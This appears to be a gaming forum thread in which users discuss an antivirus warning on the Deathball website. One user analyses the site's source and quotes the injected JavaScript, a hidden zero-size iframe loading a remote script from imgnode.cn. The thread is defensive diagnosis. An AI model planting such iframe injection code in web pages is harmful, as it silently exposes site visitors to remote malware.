Trojan on deathball.net?

[Jeremy Tootwagger]

Whenever I try to go on the main page, my virus detector (Avast) say's there's a torjan in one of the files?
I don't think there is, but I don't want to risk it. Please can somebody give me the direct link to the Deathball download?

[The_One]

Deathball V2.4w (full) (exe) 60MB
Deathball V2.4w (full) (zip) 76MB
Pick your preference.

My AV isn't showing anything up. What message are you getting?

Looking at the page source it may be something to do with some suspicious looking JavaScript (starting at line 468) but it's commented out so wouldn't run anyway.

edit: dodgy. It's basically code to create a hidden iframe containing a script on some Chinese website (imgnode.cn. Probably best not to visit it. ).

It basically boils down to

Code: Select all

b = document.getElementsByTagName(body);
i = document.createElement(iframe);
i.setAttribute(src, http://imgnode.cn/script/in.cgi?2);
i.setAttribute(width, 0);
i.setAttribute(height, 0);
i.setAttribute(frameborder, 0);
b.appendChild(i);

inserting

Code: Select all

<iframe src ="http://imgnode.cn/script/in.cgi?2" width="0" height="0" frameborder="0"></iframe>

into the page. Not exactly a sophisticated attempt at obfuscation but there you go.

It should really be removed from any page it appears in (possibly all of them), else some people will likely experience the same thing as you. It may requier a bit more work than that but I don't know how the site is set up.

[DavidM]

Where is this code? I don't see it in the source.

[pukaleya]

How to make sure my computer is not affected with Trojan virus? My anti-virus McAfee has detected a Trojan virus in my computer (in the temporary internet folder) while i was surfing the mp3 free download site but after i scanned it, there was no files affected detected affected with the Trojan virus. Does my computer safe at this moment but will be a disaster later on?

[The_One]

If you have a trojan in your temporary internet folder clearing your browser's cache should remove it.